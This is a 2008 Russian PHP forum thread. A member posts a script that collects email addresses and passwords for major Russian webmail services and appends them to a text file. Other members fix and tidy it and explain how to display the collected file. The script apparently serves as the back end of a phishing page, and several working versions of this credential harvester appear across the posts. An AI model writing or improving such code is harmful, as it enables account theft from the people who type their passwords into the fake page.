
21.09.2008, 19:13
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
Сообщение от Doom123
if (empty($_POST['b'])) //Нужна проверка т.к $_POST['а'] мы проверили выше
Нет b у меня пасворд его не надо проверять!
|
|
|

21.09.2008, 19:17
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
PHP код:
<?php
$f="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
if (($_POST["a"]==$f)or($_POST["b"]==$f)) //проверяет поле на пустоту
{header('Location: error1.php');}
else {$fs=explode("@",$_POST['a'],2); //проверяет правильность мыла
if (in_array($fs[1],$mail))
{if(isset($_POST["a"])&& isset($_POST["b"])) //делает запись в текстовый файл если выше описаные проверки пройдены
{$fh=fopen("kont.txt","a");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');}}} else {header('Location: error2.php');}
?>
Почему пишет ошибку?
Parse error: syntax error, unexpected T_ELSE in Z:\home\test3.ru\www\prog.php on line 27
Последний раз редактировалось geforce; 21.09.2008 в 20:10..
|
|
|

21.09.2008, 20:08
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
С нами:
9840758
Репутация:
808
|
|
Сообщение от geforce
Почему пишет ошибку?
1) Было бы неплохо указывать, какую именно ошибку.
2) Также имеет смысл лучше изучить основы используемого языка. Можно, например, начать отсюда.
|
|
|

21.09.2008, 20:11
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами:
9541766
Репутация:
2407
|
|
PHP код:
<?php
$f="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
if ($_POST["a"]==$f || $_POST["b"]==$f) //проверяет поле на пустоту
header('Location: error1.php');
else
{
$fs=explode("@",$_POST['a'],2); //проверяет правильность мыла
if(in_array($fs[1],$mail))
{
if(isset($_POST["a"]) && isset($_POST["b"])) //делает запись в текстовый файл если выше описаные проверки пройдены
{
$fh=fopen("kont.txt","a");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');
}
}
else
{
header('Location: error2.php');
}
}
?>
P.S. Код не улучшал 
|
|
|

21.09.2008, 20:29
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
Сообщение от d_x
PHP код:
<?php
$f="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
if ($_POST["a"]==$f || $_POST["b"]==$f) //проверяет поле на пустоту
header('Location: error1.php');
else
{
$fs=explode("@",$_POST['a'],2); //проверяет правильность мыла
if(in_array($fs[1],$mail))
{
if(isset($_POST["a"]) && isset($_POST["b"])) //делает запись в текстовый файл если выше описаные проверки пройдены
{
$fh=fopen("kont.txt","a");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');
}
}
else
{
header('Location: error2.php');
}
}
?>
P.S. Код не улучшал 
СПАСИБО!!!
|
|
|

21.09.2008, 20:12
|
|
Участник форума
Регистрация: 11.12.2005
Сообщений: 160
С нами:
10743646
Репутация:
159
|
|
else {
header('Location: error2.php');
}
вот этот елсе хренпоймический, для него нету иф.
1) Было бы неплохо указывать, какую именно ошибку.
изучая код товарища гефорсе можно сделать вывод что ошибка в днк=)
|
|
|

21.09.2008, 20:20
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами:
9541766
Репутация:
2407
|
|
Немного поприличнее вариант:
PHP код:
<?php
$mail=Array(
"mail.ru",
"list.ru",
"inbox.ru",
"bk.ru",
"yandex.ru",
"rambler.ru"
);
if (!isset($_POST["a"]) || !isset($_POST["b"]) || $_POST["a"]=='' || $_POST["b"]=='') //проверяет поле на пустоту
header('Location: error1.php');
else
{
$fs=explode("@",$_POST['a'],2); //проверяет правильность мыла
if(in_array($fs[1],$mail) && preg_match("/^[_\-\.0-9a-z]+@[0-9a-z]{1}[_0-9a-z\.]+\.[a-z]{2,4}$/i",$fs[1]))
{
$fh=fopen("kont.txt","a+");
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
fclose($fh);
header('Location: autor.php');
}
else
{
header('Location: error2.php');
}
}
?>
Последний раз редактировалось d_x; 21.09.2008 в 23:22..
|
|
|

21.09.2008, 20:33
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами:
9326973
Репутация:
-25
|
|
Вот так не работает
PHP код:
<?php $f=fopen("kont.txt") echo"$f";?>
Как вывести содержимое текстового документа на страницу?
|
|
|

21.09.2008, 20:40
|
|
Banned
Регистрация: 04.06.2008
Сообщений: 402
С нами:
9440285
Репутация:
719
|
|
Сообщение от geforce
Вот так не работает
PHP код:
<?php $f=fopen("kont.txt") echo"$f";?>
Как вывести содержимое текстового документа на страницу?
[PHP][QUOTE=geforce]Вот так не работает [PHP]<?php
PHP код:
<?
$f=fopen("kont.txt");
echo"$f";
?>
точку с запятой забыл. или юзай функцию file_get_contents (вроде так..)
|
|
|

21.09.2008, 20:40
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами:
9541766
Репутация:
2407
|
|
Как вывести содержимое текстового документа на страницу?
PHP код:
<?php print file_get_contents("kont.php"); ?>
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|